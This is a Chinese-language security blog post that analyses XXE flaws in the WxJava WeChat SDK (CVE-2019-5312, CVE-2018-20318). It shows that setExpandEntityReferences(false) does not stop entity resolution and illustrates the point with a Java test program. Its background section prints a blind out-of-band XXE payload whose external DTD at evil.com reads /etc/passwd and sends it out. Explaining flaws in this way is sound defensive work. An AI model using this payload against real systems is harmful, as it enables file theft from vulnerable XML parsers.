前些日,开源社区流行的微信Java SDK爆出XXE注入漏洞,漏洞编号为: CVE-2019-5312 。在我分析漏洞时发现这个漏洞源自于一个未修好的漏洞: CVE-2018-20318 。在做这两个漏洞的补丁commit diff的时候发现CVE-2018-20318的修复方案是在创建DocumentBuilderFactory实例后对其做了 factory.setExpandEntityReferences(false)
的设置。CVE-2019-5312中又在下面增加了 factory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true)
的设置。这引起了我的好奇,深挖了一下,发现整个事情还比较有趣,于是想整理下,分享给大家。
既然是有关XXE注入的漏洞,那么想读懂这篇文章就需要对XXE注入漏洞有所了解。在这里我推荐阅读 @gyyyy
大佬的文章: 《XXE注入漏洞概述》 ,文章中非常详细的介绍了XXE注入的基础知识、漏洞原理、挖掘思路、利用方式等等。我在本文中简单带过一下原理。
XML外部实体注入 (XML External Entity Injection) 是一种针对解析XML文档的应用程序的注入类型攻击。当恶意用户在提交一个精心构造的包含外部实体引用的XML文档给未正确配置的XML解析器处理时,该攻击就会发生。XXE注入可能造成敏感信息泄露、拒绝服务、SSRF、命令执行等危害。
XML实体又分为内部实体和外部实体,声明方式如下:
<!ENTITY name "value">
<!ENTITY name SYSTEM "URI"> <!ENTITY name PUBLIC "PUBLIC_ID" "URI">
外部实体声明中,分为 SYSTEM
和 PUBLIC
,前者表示私有资源 (但不一定是本机) ,后者表示公共资源。实体声明之后就可以在文本中进行引用了:
<foo>&xxe;</foo>
XXE注入较为常见的利用方式是基于OOB的任意文件读取 (盲注) ,利用方式如下:
<?xmlversion="1.0"encoding="UTF-8"?> <!DOCTYPE foo [ <!ENTITY % xxeSYSTEM "http://evil.com/xxeoobdetector.xml"> %xxe; ]> <foo/>
xxeoobdetector.xml
<!ENTITY % file SYSTEM "file:///etc/passwd"> <!ENTITY % def "<!ENTITY % send SYSTEM 'http://evil.com/?data=%file;'>"> %def; %send;
更多内容也可以参考 XML_External_Entity_(XXE)_Processing 。
以WxJava的XXE注入漏洞为例,漏洞发现者在项目Github仓库中提交 Github issue#903 ,并提供了 修复参考 。
先在github上进行 commit diff 对比:
可以看到作者使用的是JDK自带的XML解析器。在创建 DocumentBuilderFactory
类的实例之后进行了 setFeature
禁用DTD文档。
然后仿造issue中的描述初始化 WxPayOrderQueryResult
类实例,通过其父类的 setXmlString()
方法设置 xmlString
,然后调用此类实例的 toMap()
方法将xml文档转换为Map。在此调用了此类的 getXmlDoc()
方法。
进入 getXmlDoc()
方法中发现此处已经对 DocumentBuilderFactory
实例进行了 setExpandEntityReferences()
的设置,但经过测试,这里依然可以解析DTD文档和外部实体,触发漏洞。
本来这个漏洞分析到这里就可以结束了,但我看到了这个漏洞关联另一个issue: issue#889 ,发现其对应漏洞CVE-2018-20318,再次进行 commit diff 对比:
发现作者在解决CVE-2018-20318之前对DocumentBuilderFactory
实例没有进行任何设置,直接解析XML文档。那么问题来了,为什么作者加上 factory.setExpandEntityReferences(false)
的设置漏洞仍然存在?是 factory.setExpandEntityReferences(false)
没有生效吗?作为开发出身的我,第一反应是查这段代码的注释和官方文档,开发过程中我们应该永远最相信官方的文档。
直接跟进这个方法定义的位置:
从代码注释翻译过来大概是 指定此代码生成的解析器将扩展实体引用节点。 默认情况下,此值为 true
,如果参数为 true
,解析器将扩展实体引用节点,否则设置为 false
。 官方文档 的解释与其一致,不再展示。
那么从这短短的一句话上分析, setExpandEntityReferences()
方法参数为 true
的时候,解析器会扩展外部实体,为 false
的时候不扩展,好像没毛病。我如果是开发看到了文档给出的解释也会这样改,那么问题到底在哪里?
通过搜索发现,和我有同样疑问的人其实不少,首先我看到了两封疑似邮件记录的东西,第一封主题为 Disabling XML External Entites ,这个人恰好是想解决安全问题禁止外部实体解析,但发现了通过 setExpandEntityReferences()
并不能阻止XXE注入攻击,于是邮件提问,得到的回复如下:
CVE-2014-0191 libxml2: external parameter entity
loaded when entity substitution is disabled这个人貌似是想写一篇全面的关于XXE注入的论文,但是它遇到了同样的问题,且提到了官方的描述非常的简短。他得到的回复如下:
在这个回复中甚至提到了OWASP的文档中都是需要更新和维护的。OWASP以前的文档不可考察了,现在OWASP中针对XXE注入防护的Java部分是这样的:
这里依然提到了 setExpandEntityReferences()
,并且提到了一篇2014年的论文 (好像和刚才发邮件的不是一个人:-D) 于是我又将 论文 翻出来,论文中提到的有关内容如下:
setExpandEntityReferences(false)
和实体的解析是不冲突的, setExpandEntityReferences()
只告诉DocumentBuilder它是否应该在tree中包含EntityReference节点。
Method setExpandEntityReferences of Object DocumentBuilderFactory has no effects
, DOM parser does not honor DocumentBuilderFactory.setExpandEntityReferences(false) ,两个BUG提交后得到了同样的回复:这不是问题!其中在第二个BUG的回复中详细解释了参数设置为true
和 false
对应的意义:
setExpandEntityReferences = true表示展开或“解析”实体引用,即没有EntityReference节点。
setExpandEntityReferences = false,将指示解析器将EntityReference节点保留在DOM树中。 挖到这里,我大致明白了这个方法的作用, 此方法作于XML解析后生成的文档。设置为 true
则展开实体引用到生成的文档中替换掉 &xx
的实体引用声明,设置为 false
则保留实体引用声明的DOM树在生成的文档中 。
听起来还是有点绕?下面我通过一个例子来解释下上面那句话。
假如有XML文档如下:<!DOCTYPE foo [ <!ENTITY xxe "test"> ]> <document> <title>&xxe;</title> </document>
测试代码:
import org.w3c.dom.Document; import org.w3c.dom.Element; import org.w3c.dom.EntityReference; import org.w3c.dom.NodeList; import javax.xml.parsers.DocumentBuilderFactory; import java.io.ByteArrayInputStream; public class Test { public static void main(String[] args) { String xmlStr= "<!DOCTYPE foo [/n" + " <!ENTITY xxe /"test/">/n" + "]>/n" + "<document> /n" + " <title>&xxe;</title> /n" + "</document> "; Document doc= getXmlDoc(xmlStr); Element e = (Element) doc.getElementsByTagName("title").item(0); final NodeList nl = e.getChildNodes(); System.out.println("nl.item(0) instanceof EntityReference):" + (nl.item(0) instanceof EntityReference)); System.out.println("nl.getLength():" + nl.getLength()); } public static Document getXmlDoc(String xmlString) { try { final DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance(); // Comment the code below to see the effect factory.setExpandEntityReferences(false); Document xmlDoc = factory.newDocumentBuilder() .parse(new ByteArrayInputStream(xmlString.getBytes("UTF-8"))); return xmlDoc; } catch (Exception e) { throw new RuntimeException(e); } } }
设置 setExpandEntityReferences(true)
,观察变量 nl
的结构:
注意此时 nl
的长度为1,此时文档结构大致如下:
+- document +- title | +- #text:test
输出如下:
设置 setExpandEntityReferences(false)
,观察变量 nl
的结构:
我们发现,此时的 nl
的长度为2, nl.item(0)
是一个name为 xxe
的 EntityReference
节点,它还有个兄弟节点,值为 test
。此时文档结构大致如下:
+- document +- title | +- xxe | +- #text:test
输出如下:
上面的例子证明了,无论如何设置 setExpandEntityReferences()
,外部文档都是已经解析完了的。因此无法防护XXE注入。
不过官方文档描述过于简单,实时也证明了通过官方文档对 setExpandEntityReferences()
的解释真的容易产生歧义。因此在开发者修复漏洞的时候还是要参考OWASP给出的参考建议 (我甚至觉得OWASP建议中的 setExpandEntityReferences(false)
都应该注释标明它不能防止XXE注入) ,不要太过于自信自己对文档的理解。修改后应及时测试。
DOM parser does not honor DocumentBuilderFactory.setExpandEntityReferences(false)
,不过神奇的地方来了,这次官网没有用之前的话术草草回复过去,而是接受了这个BUG!!就在两天前(2019年1月29日), @Joe Wang
为其创建了名为 Change DOM parser to not resolve EntityReference and add Text node with DocumentBuilderFactory.setExpandEntityReferences(false) 的任务,并且在任务描述中明确了当 ExpandEntityReferences
设置为 false
时,DOM解析器不再读取和解析任何实体引用。对于打算避免解析实体引用的应用程序,这样的设置将会按照预期工作。
setExpandEntityReferences(false)
来解决XXE注入的问题了。不过现在这个任务的状态还是 NEW
,我会继续跟进它。